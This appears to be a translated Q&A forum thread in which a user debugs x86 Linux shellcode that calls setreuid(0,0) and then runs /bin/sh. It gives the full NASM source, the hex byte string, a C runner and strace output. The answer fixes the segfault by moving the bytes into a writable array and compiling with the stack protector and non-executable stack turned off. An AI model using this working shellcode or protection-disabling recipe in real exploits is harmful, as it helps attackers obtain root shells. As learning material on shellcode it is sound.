Goo*_*ies 5 c shell assembly segmentation-fault shellcode
好吧,我写了一个生成 shell 的 ASM 文件。
但是,.text 部分变为“只读”,因此我将所有内容都保留在 .data 部分中。当我用 NASM 和 ld 编译它时,它工作得很好。然后,当我使用 shellcode 并在 C 程序中运行它时,我会出现错误。
ASM:
SECTION .data
global _start
_start:
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
mov al, 70d
int 80h
jmp jump
rev:
pop ebx
xor eax, eax
mov BYTE [ebx+7], al
mov DWORD [ebx+8], ebx
mov DWORD [ebx+12], eax
mov al, 11d
lea ecx, [ebx+8]
lea edx, [ebx+12]
int 80h
jump:
call rev
shell: db "/bin/sh011112222"
Run Code Online (Sandbox Code Playgroud)
当我编译它时:
nasm -f elf32 -o temporary_file.o
ld -s -m elf_i386 -o shell temporary_file.o
Run Code Online (Sandbox Code Playgroud)
一切正常。我可以 ./shell 和一个 shell 产卵。但是,当我使用:
objdump -D shell(objdump -d shell 不显示 .data 部分)
并将其更改为 \x?? 格式,我无法执行shell。外壳代码:
\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x46\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x30\x31\x31\x31\x31\x32\x32\x32\x32
Run Code Online (Sandbox Code Playgroud)
在 C 文件中:
#include <stdio.h>
unsigned char * shellcode = "\x31\xc0\x31\xdb\x31\xc9\x31...";
int main(){
printf("[~] Shellcode length (bytes): %d\n", strlen(shellcode));
((void(*)(void))shellcode)();
return 0;
}
Run Code Online (Sandbox Code Playgroud)
段故障。
这是straceNASM 编译文件输出的前几行:
[root@Arch tut]# strace ./exec
execve("./exec", ["./exec"], [/* 25 vars */]) = 0
[ Process PID=30445 runs in 32 bit mode. ]
setreuid(0, 0) = 0
execve("/bin/sh", ["/bin/sh"], [/* 3 vars */]) = 0
[ Process PID=30445 runs in 64 bit mode. ]
Run Code Online (Sandbox Code Playgroud)
现在,这是strace带有 shellcode 的 C 编译文件的输出:
[root@Arch tut]# strace ./shell
execve("./shell", ["./shell"], [/* 25 vars */]) = 0
brk(0) = 0x238b000
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
Run Code Online (Sandbox Code Playgroud)
在您的 c 程序中,替换:
unsigned char * shellcode = "\x31\xc0\x31\xdb\x31\xc9\x31...";
Run Code Online (Sandbox Code Playgroud)
和
unsigned char shellcode[] = "\x31\xc0\x31\xdb\x31\xc9\x31...";
Run Code Online (Sandbox Code Playgroud)
否则 gcc 会将其放入只读部分(使用 -S 编译以生成 asm 并查看该部分)
此外,您可能需要对其进行编译-fno-stack-protector -z execstack以避免堆栈保护。